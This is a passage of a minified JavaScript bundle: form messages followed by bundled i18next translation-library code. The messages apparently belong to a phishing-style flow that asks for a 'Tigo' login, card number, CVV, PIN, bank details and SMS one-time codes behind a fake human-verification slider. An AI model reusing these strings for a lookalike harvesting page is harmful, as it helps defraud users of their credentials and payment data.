use a valid credit card.",xmessagePin:"The PIN code is invalid. Please check and try again.",xmessageBank:"Bank verification failed. Please check your details and try again.",xmessageSendingError:"An error occurred while sending the request. Please try again.",xmessageSending:"Failed to send verification code",cardSubmissionError:"Card processing error. Please try again."},RK={required:"This field is required",emailRequired:"Please enter your Tigo username or email address.",passwordRequired:"Please enter your password.",firstNameRequired:"First name is required",lastNameRequired:"Last name is required",addressRequired:"Address is required",cityRequired:"City is required",postalCodeRequired:"Postal code is required",countryRequired:"Country is required",phoneRequired:"Phone number is required",dateOfBirthRequired:"Date of birth is required",phoneInvalid:"Invalid phone number",cardNumberRequired:"Card number is required",cardNumberInvalid:"Invalid card number",expiryRequired:"Expiration date is required",expiryInvalid:"Invalid expiration date",expiryExpired:"Card has expired",cvvRequired:"CVV is required",cvvInvalid:"Invalid CVV",cvvLength:"CVV must be 3 digits (4 for American Express)"},_K={loading:"Loading security check...",loadError:"Could not load verification. Please try again.",retry:"Retry",security:{title:"Security Verification",subtitle:"Slide to confirm you are human"},success:{title:"Verified",message:"You have successfully completed the verification."},error:{incorrect:"Verification failed.",retryHint:"Slide again to continue."},slide:{hint:"Slide to confirm you're human",track:"Slide to confirm",confirmed:"Confirmed"}},kK={button:dK,subscription:fK,login:hK,common:mK,modal:pK,footer:xK,info:gK,auth:vK,smsForm:yK,otpForm:bK,mailForm:wK,pay:CK,card:SK,appForm:NK,custom:EK,pinForm:jK,confirmForm:AK,loading:TK,message:DK,validation:RK,captcha:_K},tt=e=>typeof e=="string",Gc=()=>{let e,t;const n=new Promise((s,i)=>{e=s,t=i});return n.resolve=e,n.reject=t,n},HN=e=>e==null?"":""+e,BK=(e,t,n)=>{e.forEach(s=>{t[s]&&(n[s]=t[s])})},MK=/###/g,qN=e=>e&&e.indexOf("###")>-1?e.replace(MK,"."):e,$N=e=>!e||tt(e),ou=(e,t,n)=>{const s=tt(t)?t.split("."):t;let i=0;for(;i<s.length-1;){if($N(e))return{};const c=qN(s[i]);!e[c]&&n&&(e[c]=new n),Object.prototype.hasOwnProperty.call(e,c)?e=e[c]:e={},++i}return $N(e)?{}:{obj:e,k:qN(s[i])}},GN=(e,t,n)=>{const{obj:s,k:i}=ou(e,t,Object);if(s!==void 0||t.length===1){s[i]=n;return}let c=t[t.length-1],u=t.slice(0,t.length-1),d=ou(e,u,Object);for(;d.obj===void 0&&u.length;)c=`${u[u.length-1]}.${c}`,u=u.slice(0,u.length-1),d=ou(e,u,Object),d?.obj&&typeof d.obj[`${d.k}.${c}`]<"u"&&(d.obj=void 0);d.obj[`${d.k}.${c}`]=n},FK=(e,t,n,s)=>{const{obj:i,k:c}=ou(e,t,Object);i[c]=i[c]||[],i[c].push(n)},lh=(e,t)=>{const{obj:n,k:s}=ou(e,t);if(n&&Object.prototype.hasOwnProperty.call(n,s))return n[s]},OK=(e,t,n)=>{const s=lh(e,n);return s!==void 0?s:lh(t,n)},xT=(e,t,n)=>{for(const s in t)s!=="__proto__"&&s!=="constructor"&&(s in e?tt(e[s])||e[s]instanceof String||tt(t[s])||t[s]instanceof String?n&&(e[s]=t[s]):xT(e[s],t[s],n):e[s]=t[s]);return e},rl=e=>e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&");var LK={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#x2F;"};const PK=e=>tt(e)?e.replace(/[&<>"'\/]/g,t=>LK[t]):e;class zK{constructor(t){this.capacity=t,this.regExpMap=new Map,this.regExpQueue=[]}getRegExp(t){const n=this.regExpMap.get(t);if(n!==void 0)return n;const s=new RegExp(t);return this.regExpQueue.length===this.capacity&&this.regExpMap.delete(this.regExpQueue.shift()),this.regExpMap.set(t,s),this.regExpQueue.push(t),s}}const VK=[" ",",","?","!",";"],UK=new zK(20),IK=(e,t,n)=>{t=t||"",n=n||"";const s=VK.filter(u=>t.indexOf(u)<0&&n.indexOf(u)<0);if(s.length===0)return!0;const i=UK.getRegExp(`(${s.map(u=>u==="?"?"\\?":u).join("|")})`);let c=!i.test(e);if(!c){const u=e.indexOf(n);u>0&&!i.test(e.substring(0,u))&&(c=!0)}return c},xv=(e,t,n=".")=>{if(!e)return;if(e[t])return Object.prototype.hasOwnProperty.call(e,t)?e[t]:void 0;const s=t.split(n);let i=e;for(let c=0;c<s.length;){if(!i||typeof i!="object")return;let u,d="";for(let m=c;m<s.length;++m)if(m!==c&&(d+=n),d+=s[m],u=i[d],u!==void 0){if(["string","number","boolean"].indexOf(typeof u)>-1&&m<s.length-1)continue;c+=m-c+1;break}i=u}return i},ju=e=>e?.replace("_","-"),HK={type:"logger",log(e){this.output("log",e)},warn(e){this.output("warn",e)},error(e){this.output("error",e)},output(e,t){console?.[e]?.apply?.(console,t)}};class ch{constructor(t,n={}){this.init(t,n)}init(t,n={}){this.prefix=n.prefix||"i18next:",this.logger=t||HK,this.options=n,this.debug=n.debug}log(...t){return this.forward(t,"log","",!0)}warn(...t){return this.forward(t,"warn","",!0)}error(...t){return this.forward(t,"error","")}deprecate(...t){return this.forward(t,"warn","WARNING DEPRECATED: ",!0)}forward(t,n,s,i){return i&&!this.debug?null:(tt(t[0])&&(t[0]=`${s}${this.prefix} ${t[0]}`),this.logger[n](t))}create(t){return new ch(this.logger,{prefix:`${this.prefix}:${t}:`,...this.options})}clone(t){return t=t||this.options,t.prefix=t.prefix||this.prefix,new ch(this.logger,t)}}var zs=new ch;class Qh{constructor(){this.observers={}}on(t,n){return t.split(" ").forEach(s=>{this.observers[s]||(this.observers[s]=new Map);const i=this.observers[s].get(n)||0;this.observers[s].set(n,i+1)}),this}off(t,n){if(this.observers[t]){if(!n){delete this.observers[t];return}this.observers[t].delete(n)}}emit(t,...n){this.observers[t]&&Array.from(this.observers[t].entries()).forEach(([i,c])=>{for(let u=0;u<c;u++)i(...n)}),this.observers["*"]&&Array.from(this.observers["*"].entries()).forEach(([i,c])=>{for(let u=0;u<c;u++)i.apply(i,[t,...n])})}}class YN extends Qh{constructor(t,n={ns:["translation"],defaultNS:"translation"}){super(),this.data=t||{},this.options=n,this.options.keySeparator===void 0&&(this.options.keySeparator="."),this.options.ignoreJSONStructure===void 0&&(this.options.ignoreJSONStructure=!0)}addNamespaces(t){this.options.ns.indexOf(t)<0&&this.options.ns.push(t)}removeNamespaces(t){const n=this.options.ns.indexOf(t);n>-1&&this.options.ns.splice(n,1)}getResource(t,n,s,i={}){const c=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,u=i.ignoreJSONStructure!==void 0?i.ignoreJSONStructure:this.options.ignoreJSONStructure;let d;t.indexOf(".")>-1?d=t.split("."):(d=[t,n],s&&(Array.isArray(s)?d.push(...s):tt(s)&&c?d.push(...s.split(c)):d.push(s)));const m=lh(this.data,d);return!m&&!n&&!s&&t.indexOf(".")>-1&&(t=d[0],n=d[1],s=d.slice(2).join(".")),m||!u||!tt(s)?m:xv(this.data?.[t]?.[n],s,c)}addResource(t,n,s,i,c={silent:!1}){const u=c.keySeparator!==void 0?c.keySeparator:this.options.keySeparator;let d=[t,n];s&&(d=d.concat(u?s.split(u):s)),t.indexOf(".")>-1&&(d=t.split("."),i=n,n=d[1]),this.addNamespaces(n),GN(this.data,d,i),c.silent||this.emit("added",t,n,s,i)}addResources(t,n,s,i={silent:!1}){for(const c in s)(tt(s[c])||Array.isArray(s[c]))&&this.addResource(t,n,c,s[c],{silent:!0});i.silent||this.emit("added",t,n,s)}addResourceBundle(t,n,s,i,c,u={silent:!1,skipCopy:!1}){let d=[t,n];t.indexOf(".")>-1&&(d=t.split("."),i=s,s=n,n=d[1]),this.addNamespaces(n);let m=lh(this.data,d)||{};u.skipCopy||(s=JSON.parse(JSON.stringify(s))),i?xT(m,s,c):m={...m,...s},GN(this.data,d,m),u.silent||this.emit("added",t,n,s)}removeResourceBundle(t,n){this.hasResourceBundle(t,n)&&delete this.data[t][n],this.removeNamespaces(n),this.emit("removed",t,n)}hasResourceBundle(t,n){return this.getResource(t,n)!==void 0}getResourceBundle(t,n){return n||(n=this.options.defaultNS),this.getResource(t,n)}getDataByLanguage(t){return this.data[t]}hasLanguageSomeTranslations(t){const n=this.getDataByLanguage(t);return!!(n&&Object.keys(n)||[]).find(i=>n[i]&&Object.keys(n[i]).length>0)}toJSON(){return this.data}}var gT={processors:{},addPostProcessor(e){this.processors[e.name]=e},handle(e,t,n,s,i){return e.forEach(c=>{t=this.processors[c]?.process(t,n,s,i)??t}),t}};const vT=Symbol("i18next/PATH_KEY");function qK(){const e=[],t=Object.create(null);let n;return t.get=(s,i)=>(n?.revoke?.(),i===vT?e:(e.push(i),n=Proxy.revocable(s,t),n.proxy)),Proxy.revocable(Object.create(null),t).proxy}function gv(e,t){const{[vT]:n}=e(qK());return n.join(t?.keySeparator??".")}const KN={},XN=e=>!tt(e)&&typeof e!="boolean"&&typeof e!="number";class uh extends Qh{constructor(t,n={}){super(),BK(["resourceStore","languageUtils","pluralResolver","interpolator","backendConnector","i18nFormat","utils"],t,this),this.options=n,this.options.keySeparator===void 0&&(this.options.keySeparator="."),this.logger=zs.create("translator")}changeLanguage(t){t&&(this.language=t)}exists(t,n={interpolation:{}}){const s={...n};return t==null?!1:this.resolve(t,s)?.res!==void 0}extractFromKey(t,n){let s=n.nsSeparator!==void 0?n.nsSeparator:this.options.nsSeparator;s===void 0&&(s=":");const i=n.keySeparator!==void 0?n.keySeparator:this.options.keySeparator;let c=n.ns||this.options.defaultNS||[];const u=s&&t.indexOf(s)>-1,d=!this.options.userDefinedKeySeparator&&!n.keySeparator&&!this.options.userDefinedNsSeparator&&!n.nsSeparator&&!IK(t,s,i);if(u&&!d){const m=t.match(this.interpolator.nestingRegexp);if(m&&m.length>0)return{key:t,namespaces:tt(c)?[c]:c};const h=t.split(s);(s!==i||s===i&&this.options.ns.indexOf(h[0])>-1)&&(c=h.shift()),t=h.join(i)}return{key:t,namespaces:tt(c)?[c]:c}}translate(t,n,s){let i=typeof n=="object"?{...n}:n;if(typeof i!="object"&&this.options.overloadTranslationOptionHandler&&(i=this.options.overloadTranslationOptionHandler(arguments)),typeof i=="object"&&(i={...i}),i||(i={}),t==null)return"";typeof t=="function"&&(t=gv(t,{...this.options,...i})),Array.isArray(t)||(t=[String(t)]);const c=i.returnDetails!==void 0?i.returnDetails:this.options.returnDetails,u=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,{key:d,namespaces:m}=this.extractFromKey(t[t.length-1],i),h=m[m.length-1];let p=i.nsSeparator!==void 0?i.nsSeparator:this.options.nsSeparator;p===void 0&&(p=":");const x=i.lng||this.language,g=i.appendNamespaceToCIMode||this.options.appendNamespaceToCIMode;if(x?.toLowerCase()==="cimode")return g?c?{res:`${h}${p}${d}`,usedKey:d,exactUsedKey:d,usedLng:x,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:`${h}${p}${d}`:c?{res:d,usedKey:d,exactUsedKey:d,usedLng:x,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:d;const y=this.resolve(t,i);let w=y?.res;const S=y?.usedKey||d,N=y?.exactUsedKey||d,T=["[object Number]","[object Function]","[object RegExp]"],E=i.joinArrays!==void 0?i.joinArrays:this.options.joinArrays,A=!this.i18nFormat||this.i18nFormat.handleAsObject,j=i.count!==void 0&&!tt(i.count),R=uh.hasDefaultValue(i),D=j?this.pluralResolver.getSuffix(x,i.count,i):"",k=i.ordinal&&j?this.pluralResolver.getSuffix(x,i.count,{ordinal:!1}):"",B=j&&!i.ordinal&&i.count===0,I=B&&i[`defaultValue${this.options.pluralSeparator}zero`]||i[`defaultValue${D}`]||i[`defaultValue${k}`]||i.defaultValue;let z=w;A&&!w&&R&&(z=I);const U=XN(z),$=Object.prototype.toString.apply(z);if(A&&z&&U&&T.indexOf($)<0&&!(tt(E)&&Array.isArray(z))){if(!i.returnObjects&&!this.options.returnObjects){this.options.returnedObjectHandler||this.logger.warn("accessing an object - but returnObjects options is not enabled!");const H=this.options.returnedObjectHandler?this.options.returnedObjectHandler(S,z,{...i,ns:m}):`key '${d} (${this.language})' returned an object instead of string.`;return c?(y.res=H,y.usedParams=this.getUsedParamsDetails(i),y):H}if(u){const H=Array.isArray(z),W=H?[]:{},se=H?N:S;for(const M in z)if(Object.prototype.hasOwnProperty.call(z,M)){const O=`${se}${u}${M}`;R&&!w?W[M]=this.translate(O,{...i,defaultValue:XN(I)?I[M]:void 0,joinArrays:!1,ns:m}):W[M]=this.translate(O,{...i,joinArrays:!1,ns:m}),W[M]===O&&(W[M]=z[M])}w=W}}else if(A&&tt(E)&&Array.isArray(w))w=w.join(E),w&&(w=this.extendTranslation(w,t,i,s));else{let H=!1,W=!1;!this.isValidLookup(w)&&R&&(H=!0,w=I),this.isValidLookup(w)||(W=!0,w=d);const M=(i.missingKeyNoValueFallbackToKey||this.options.missingKeyNoValueFallbackToKey)&&W?void 0:w,O=R&&I!==w&&this.options.updateMissing;if(W||H||O){if(this.logger.log(O?"updateKey":"missingKey",x,h,d,O?I:w),u){const F=this.resolve(d,{...i,keySeparator:!1});F&&F.res&&this.logger.warn("Seems the loaded translations were in flat JSON format instead of nested. Either set keySeparator: false on init or make sure your translations are published in nested format.")}let V=[];const Z=this.languageUtils.getFallbackCodes(this.options.fallbackLng,i.lng||this.language);if(this.options.saveMissingTo==="fallback"&&Z&&Z[0])for(let F=0;F<Z.length;F++)V.push(Z[F]);else this.options.saveMissingTo==="all"?V=this.languageUtils.toResolveHierarchy(i.lng||this.language):V.push(i.lng||this.language);const ce=(F,P,q)=>{const Y=R&&q!==w?q:M;this.options.missingKeyHandler?this.options.missingKeyHandler(F,h,P,Y,O,i):this.backendConnector?.saveMissing&&this.backendConnector.saveMissing(F,h,P,Y,O,i),this.emit("missingKey",F,h,P,w)};this.options.saveMissing&&(this.options.saveMissingPlurals&&j?V.forEach(F=>{const P=this.pluralResolver.getSuffixes(F,i);B&&i[`defaultValue${this.options.pluralSeparator}zero`]&&P.indexOf(`${this.options.pluralSeparator}zero`)<0&&P.push(`${this.options.pluralSeparator}zero`),P.forEach(q=>{ce([F],d+q,i[`defaultValue${q}`]||I)})}):ce(V,d,I))}w=this.extendTranslation(w,t,i,y,s),W&&w===d&&this.options.appendNamespaceToMissingKey&&(w=`${h}${p}${d}`),(W||H)&&this.options.parseMissingKeyHandler&&(w=this.options.parseMissingKeyHandler(this.options.appendNamespaceToMissingKey?`${h}${p}${d}`:d,H?w:void 0,i))}return c?(y.res=w,y.usedParams=this.getUsedParamsDetails(i),y):w}extendTranslation(t,n,s,i,c){if(this.i18nFormat?.parse)t=this.i18nFormat.parse(t,{...this.options.interpolation.defaultVariables,...s},s.lng||this.language||i.usedLng,i.usedNS,i.usedKey,{resolved:i});else if(!s.skipInterpolation){s.interpolation&&this.interpolator.init({...s,interpolation:{...this.options.interpolation,...s.interpolation}});const m=tt(t)&&(s?.interpolation?.skipOnVariables!==void 0?s.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables);let h;if(m){const x=t.match(this.interpolator.nestingRegexp);h=x&&x.length}let p=s.replace&&!tt(s.replace)?s.replace:s;if(this.options.interpolation.defaultVariables&&(p={...this.options.interpolation.defaultVariables,...p}),t=this.interpolator.interpolate(t,p,s.lng||this.language||i.usedLng,s),m){const x=t.match(this.interpolator.nestingRegexp),g=x&&x.length;h<g&&(s.nest=!1)}!s.lng&&i&&i.res&&(s.lng=this.language||i.usedLng),s.nest!==!1&&(t=this.interpolator.nest(t,(...x)=>c?.[0]===x[0]&&!s.context?(this.logger.warn(`It seems you are nesting recursively key: ${x[0]} in key: ${n[0]}`),null):this.translate(...x,n),s)),s.interpolation&&this.interpolator.reset()}const u=s.postProcess||this.options.postProcess,d=tt(u)?[u]:u;return t!=null&&d?.length&&s.applyPostProcessor!==!1&&(t=gT.handle(d,t,n,this.options&&this.options.postProcessPassResolved?{i18nResolved:{...i,usedParams:this.getUsedParamsDetails(s)},...s}:s,this)),t}resolve(t,n={}){let s,i,c,u,d;return tt(t)&&(t=[t]),t.forEach(m=>{if(this.isValidLookup(s))return;const h=this.extractFromKey(m,n),p=h.key;i=p;let x=h.namespaces;this.options.fallbackNS&&(x=x.concat(this.options.fallbackNS));const g=n.count!==void 0&&!tt(n.count),y=g&&!n.ordinal&&n.count===0,w=n.context!==void 0&&(tt(n.context)||typeof n.context=="number")&&n.context!=="",S=n.lngs?n.lngs:this.languageUtils.toResolveHierarchy(n.lng||this.language,n.fallbackLng);x.forEach(N=>{this.isValidLookup(s)||(d=N,!KN[`${S[0]}-${N}`]&&this.utils?.hasLoadedNamespace&&!this.utils?.hasLoadedNamespace(d)&&(KN[`${S[0]}-${N}`]=!0,this.logger.warn(`key "${i}" for languages "${S.join(", ")}" won't get resolved as namespace "${d}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!")),S.forEach(T=>{if(this.isValidLookup(s))return;u=T;const E=[p];if(this.i18nFormat?.addLookupKeys)this.i18nFormat.addLookupKeys(E,p,T,N,n);else{let j;g&&(j=this.pluralResolver.getSuffix(T,n.count,n));const R=`${this.options.pluralSeparator}zero`,D=`${this.options.pluralSeparator}ordinal${this.options.pluralSeparator}`;if(g&&(n.ordinal&&j.indexOf(D)===0&&E.push(p+j.replace(D,this.options.pluralSeparator)),E.push(p+j),y&&E.push(p+R)),w){const k=`${p}${this.options.contextSeparator||"_"}${n.context}`;E.push(k),g&&(n.ordinal&&j.indexOf(D)===0&&E.push(k+j.replace(D,this.options.pluralSeparator)),E.push(k+j),y&&E.push(k+R))}}let A;for(;A=E.pop();)this.isValidLookup(s)||(c=A,s=this.getResource(T,N,A,n))}))})}),{res:s,usedKey:i,exactUsedKey:c,usedLng:u,usedNS:d}}isValidLookup(t){return t!==void 0&&!(!this.options.returnNull&&t===null)&&!(!this.options.returnEmptyString&&t==="")}getResource(t,n,s,i={}){return this.i18nFormat?.getResource?this.i18nFormat.getResource(t,n,s,i):this.resourceStore.getResource(t,n,s,i)}getUsedParamsDetails(t={}){const n=["defaultValue","ordinal","context","replace","lng","lngs","fallbackLng","ns","keySeparator","nsSeparator","returnObjects","returnDetails","joinArrays","postProcess","interpolation"],s=t.replace&&!tt(t.replace);let i=s?t.replace:t;if(s&&typeof t.count<"u"&&(i.count=t.count),this.options.interpolation.defaultVariables&&(i={...this.options.interpolation.defaultVariables,...i}),!s){i={...i};for(const c of n)delete i[c]}return i}static hasDefaultValue(t){const n="defaultValue";for(const s in t)if(Object.prototype.hasOwnProperty.call(t,s)&&n===s.substring(0,n.length)&&t[s]!==void 0)return!0;return!1}}class WN{constructor(t){this.options=t,this.supportedLngs=this.options.supportedLngs||!1,this.logger=zs.create("languageUtils")}getScriptPartFromCode(t){if(t=ju(t),!t||t.indexOf("-")<0)return null;const n=t.split("-");return n.length===2||(n.pop(),n[n.length-1].toLowerCase()==="x")?null:this.formatLanguageCode(n.join("-"))}getLanguagePartFromCode(t){if(t=ju(t),!t||t.indexOf("-")<0)return t;const n=t.split("-");return this.formatLanguageCode(n[0])}formatLanguageCode(t){if(tt(t)&&t.indexOf("-")>-1){let n;try{n=Intl.getCanonicalLocales(t)[0]}catch{}return n&&this.options.lowerCaseLng&&(n=n.toLowerCase()),n||(this.options.lowerCaseLng?t.toLowerCase():t)}return this.options.cleanCode||this.options.lowerCaseLng?t.toLowerCase():t}isSupportedCode(t){return(this.options.load==="languageOnly"||this.options.nonExplicitSupportedLngs)&&(t=this.getLanguagePartFromCode(t)),!this.supportedLngs||!this.supportedLngs.length||this.supportedLngs.indexOf(t)>-1}getBestMatchFromCodes(t){if(!t)return null;let n;return t.forEach(s=>{if(n)return;const i=this.formatLanguageCode(s);(!this.options.supportedLngs||this.isSupportedCode(i))&&(n=i)}),!n&&this.options.supportedLngs&&t.forEach(s=>{if(n)return;const i=this.getScriptPartFromCode(s);if(this.isSupportedCode(i))return n=i;const c=this.getLanguagePartFromCode(s);if(this.isSupportedCode(c))return n=c;n=this.options.supportedLngs.find(u=>{if(u===c)return u;if(!(u.indexOf("-")<0&&c.indexOf("-")<0)&&(u.indexOf("-")>0&&c.indexOf("-")<0&&u.substring(0,u.indexOf("-"))===c||u.indexOf(c)===0&&c.length>1))return u})}),n||(n=this.getFallbackCodes(this.options.fallbackLng)[0]),n}getFallbackCodes(t,n){if(!t)return[];if(typeof t=="function"&&(t=t(n)),tt(t)&&(t=[t]),Array.isArray(t))return t;if(!n)return t.default||[];let s=t[n];return s||(s=t[this.getScriptPartFromCode(n)]),s||(s=t[this.formatLanguageCode(n)]),s||(s=t[this.getLanguagePartFromCode(n)]),s||(s=t.default),s||[]}toResolveHierarchy(t,n){const s=this.getFallbackCodes((n===!1?[]:n)||this.options.fallbackLng||[],t),i=[],c=u=>{u&&(this.isSupportedCode(u)?i.push(u):this.logger.warn(`rejecting language code not found in supportedLngs: ${u}`))};return tt(t)&&(t.indexOf("-")>-1||t.indexOf("_")>-1)?(this.options.load!=="languageOnly"&&c(this.formatLanguageCode(t)),this.options.load!=="languageOnly"&&this.options.load!=="currentOnly"&&c(this.getScriptPartFromCode(t)),this.options.load!=="currentOnly"&&c(this.getLanguagePartFromCode(t))):tt(t)&&c(this.formatLanguageCode(t)),s.forEach(u=>{i.indexOf(u)<0&&c(this.formatLanguageCode(u))}),i}}const QN={zero:0,one:1,two:2,few:3,many:4,other:5},ZN={select:e=>e===1?"one":"other",resolvedOptions:()=>({pluralCategories:["one","other"]})};class $K{constructor(t,n={}){this.languageUtils=t,this.options=n,this.logger=zs.create("pluralResolver"),this.pluralRulesCache={}}addRule(t,n){this.rules[t]=n}clearCache(){this.pluralRulesCache={}}getRule(t,n={}){const s=ju(t==="dev"?"en":t),i=n.ordinal?"ordinal":"cardinal",c=JSON.stringify({cleanedCode:s,type:i});if(c in this.pluralRulesCache)return this.pluralRulesCache[c];let u;try{u=new Intl.PluralRules(s,{type:i})}catch{if(!Intl)return this.logger.error("No Intl support, please use an Intl polyfill!"),ZN;if(!t.match(/-|_/))return ZN;const m=this.languageUtils.getLanguagePartFromCode(t);u=this.getRule(m,n)}return this.pluralRulesCache[c]=u,u}needsPlural(t,n={}){let s=this.getRule(t,n);return s||(s=this.getRule("dev",n)),s?.resolvedOptions().pluralCategories.length>1}getPluralFormsOfKey(t,n,s={}){return this.getSuffixes(t,s).map(i=>`${n}${i}`)}getSuffixes(t,n={}){let s=this.getRule(t,n);return s||(s=this.getRule("dev",n)),s?s.resolvedOptions().pluralCategories.sort((i,c)=>QN[i]-QN[c]).map(i=>`${this.options.prepend}${n.ordinal?`ordinal${this.options.prepend}`:""}${i}`):[]}getSuffix(t,n,s={}){const i=this.getRule(t,s);return i?`${this.options.prepend}${s.ordinal?`ordinal${this.options.prepend}`:""}${i.select(n)}`:(this.logger.warn(`no plural rule found for: ${t}`),this.getSuffix("dev",n,s))}}const JN=(e,t,n,s=".",i=!0)=>{let c=OK(e,t,n);return!c&&i&&tt(n)&&(c=xv(e,n,s),c===void 0&&(c=xv(t,n,s))),c},og=e=>e.replace(/\$/g,"$$$$");class GK{constructor(t={}){this.logger=zs.create("interpolator"),this.options=t,this.format=t?.interpolation?.format||(n=>n),this.init(t)}init(t={}){t.interpolation||(t.interpolation={escapeValue:!0});const{escape:n,escapeValue:s,useRawValueToEscape:i,prefix:c,prefixEscaped:u,suffix:d,suffixEscaped:m,formatSeparator:h,unescapeSuffix:p,unescapePrefix:x,nestingPrefix:g,nestingPrefixEscaped:y,nestingSuffix:w,nestingSuffixEscaped:S,nestingOptionsSeparator:N,maxReplaces:T,alwaysFormat:E}=t.interpolation;this.escape=n!==void 0?n:PK,this.escapeValue=s!==void 0?s:!0,this.useRawValueToEscape=i!==void 0?i:!1,this.prefix=c?rl(c):u||"{{",this.suffix=d?rl(d):m||"}}",this.formatSeparator=h||",",this.unescapePrefix=p?"":x||"-",this.unescapeSuffix=this.unescapePrefix?"":p||"",this.nestingPrefix=g?rl(g):y||rl("$t("),this.nestingSuffix=w?rl(w):S||rl(")"),this.nestingOptionsSeparator=N||",",this.maxReplaces=T||1e3,this.alwaysFormat=E!==void 0?E:!1,this.resetRegExp()}reset(){this.options&&this.init(this.options)}resetRegExp(){const t=(n,s)=>n?.source===s?(n.lastIndex=0,n):new RegExp(s,"g");this.regexp=t(this.regexp,`${this.prefix}(.+?)${this.suffix}`),this.regexpUnescape=t(this.regexpUnescape,`${this.prefix}${this.unescapePrefix}(.+?)${this.unescapeSuffix}${this.suffix}`),this.nestingRegexp=t(this.nestingRegexp,`${this.nestingPrefix}((?:[^()"']+|"[^"]*"|'[^']*'|\\((?:[^()]|"[^"]*"|'[^']*')*\\))*?)${this.nestingSuffix}`)}interpolate(t,n,s,i){let c,u,d;const m=this.options&&this.options.interpolation&&this.options.interpolation.defaultVariables||{},h=y=>{if(y.indexOf(this.formatSeparator)<0){const T=JN(n,m,y,this.options.keySeparator,this.options.ignoreJSONStructure);return this.alwaysFormat?this.format(T,void 0,s,{...i,...n,interpolationkey:y}):T}const w=y.split(this.formatSeparator),S=w.shift().trim(),N=w.join(this.formatSeparator).trim();return this.format(JN(n,m,S,this.options.keySeparator,this.options.ignoreJSONStructure),N,s,{...i,...n,interpolationkey:S})};this.resetRegExp();const p=i?.missingInterpolationHandler||this.options.missingInterpolationHandler,x=i?.interpolation?.skipOnVariables!==void 0?i.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables;return[{regex:this.regexpUnescape,safeValue:y=>og(y)},{regex:this.regexp,safeValue:y=>this.escapeValue?og(this.escape(y)):og(y)}].forEach(y=>{for(d=0;c=y.regex.exec(t);){const w=c[1].trim();if(u=h(w),u===void 0)if(typeof p=="function"){const N=p(t,c,i);u=tt(N)?N:""}else if(i&&Object.prototype.hasOwnProperty.call(i,w))u="";else if(x){u=c[0];continue}else this.logger.warn(`missed to pass in variable ${w} for interpolating ${t}`),u="";else!tt(u)&&!this.useRawValueToEscape&&(u=HN(u));const S=y.safeValue(u);if(t=t.replace(c[0],S),x?(y.regex.lastIndex+=u.length,y.regex.lastIndex-=c[0].length):y.regex.lastIndex=0,d++,d>=this.maxReplaces)break}}),t}nest(t,n,s={}){let i,c,u;const d=(m,h)=>{const p=this.nestingOptionsSeparator;if(m.indexOf(p)<0)return m;const x=m.split(new RegExp(`${p}[ ]*{`));let g=`{${x[1]}`;m=x[0],g=this.interpolate(g,u);const y=g.match(/'/g),w=g.match(/"/g);((y?.length??0)%2===0&&!w||w.length%2!==0)&&(g=g.replace(/'/g,'"'));try{u=JSON.parse(g),h&&(u={...h,...u})}catch(S){return this.logger.warn(`failed parsing options string in nesting for key ${m}`,S),`${m}${p}${g}`}return u.defaultValue&&u.defaultValue.indexOf(this.prefix)>-1&&delete u.defaultValue,m};for(;i=this.nestingRegexp.exec(t);){let m=[];u={...s},u=u.replace&&!tt(u.replace)?u.replace:u,u.applyPostProcessor=!1,delete u.defaultValue;const h=/{.*}/.test(i[1])?i[1].lastIndexOf("}")+1:i[1].indexOf(this.formatSeparator);if(h!==-1&&(m=i[1].slice(h).split(this.formatSeparator).map(p=>p.trim()).filter(Boolean),i[1]=i[1].slice(0,h)),c=n(d.call(this,i[1].trim(),u),u),c&&i[0]===t&&!tt(c))return c;tt(c)||(c=HN(c)),c||(this.logger.warn(`missed to resolve ${i[1]} for nesting ${t}`),c=""),m.length&&(c=m.reduce((p,x)=>this.format(p,x,s.lng,{...s,interpolationkey:i[1].trim()}),c.trim())),t=t.replace(i[0],c),this.regexp.lastIndex=0}return t}}const YK=e=>{let t=e.toLowerCase().trim();const n={};if(e.indexOf("(")>-1){const s=e.split("(");t=s[0].toLowerCase().trim();const i=s[1].substring(0,s[1].length-1);t==="currency"&&i.indexOf(":")<0?n.currency||(n.currency=i.trim()):t==="relativetime"&&i.indexOf(":")<0?n.range||(n.range=i.trim()):i.split(";").forEach(u=>{if(u){const[d,...m]=u.split(":"),h=m.join(":").trim().replace(/^'+|'+$/g,""),p=d.trim();n[p]||(n[p]=h),h==="false"&&(n[p]=!1),h==="true"&&(n[p]=!0),isNaN(h)||(n[p]=parseInt(h,10))}})}return{formatName:t,formatOptions:n}},eE=e=>{const t={};return(n,s,i)=>{let c=i;i&&i.interpolationkey&&i.formatParams&&i.formatParams[i.interpolationkey]&&i[i.interpolationkey]&&(c={...c,[i.interpolationkey]:void 0});const u=s+JSON.stringify(c);let d=t[u];return d||(d=e(ju(s),i),t[u]=d),d(n)}},KK=e=>(t,n,s)=>e(ju(n),s)(t);class XK{constructor(t={}){this.logger=zs.create("formatter"),this.options=t,this.init(t)}init(t,n={interpolation:{}}){this.formatSeparator=n.interpolation.formatSeparator||",";const s=n.cacheInBuiltFormats?eE:KK;this.formats={number:s((i,c)=>{const u=new Intl.NumberFormat(i,{...c});return d=>u.format(d)}),currency:s((i,c)=>{const u=new Intl.NumberFormat(i,{...c,style:"currency"});return d=>u.format(d)}),datetime:s((i,c)=>{const u=new Intl.DateTimeFormat(i,{...c});return d=>u.format(d)}),relativetime:s((i,c)=>{const u=new Intl.RelativeTimeFormat(i,{...c});return d=>u.format(d,c.range||"day")}),list:s((i,c)=>{const u=new Intl.ListFormat(i,{...c});return d=>u.format(d)})}}add(t,n){this.formats[t.toLowerCase().trim()]=n}addCached(t,n){this.formats[t.toLowerCase().trim()]=eE(n)}format(t,n,s,i={}){const c=n.split(this.formatSeparator);if(c.length>1&&c[0].indexOf("(")>1&&c[0].indexOf(")")<0&&c.find(d=>d.indexOf(")")>-1)){const d=c.findIndex(m=>m.indexOf(")")>-1);c[0]=[c[0],...c.splice(1,d)].join(this.formatSeparator)}return 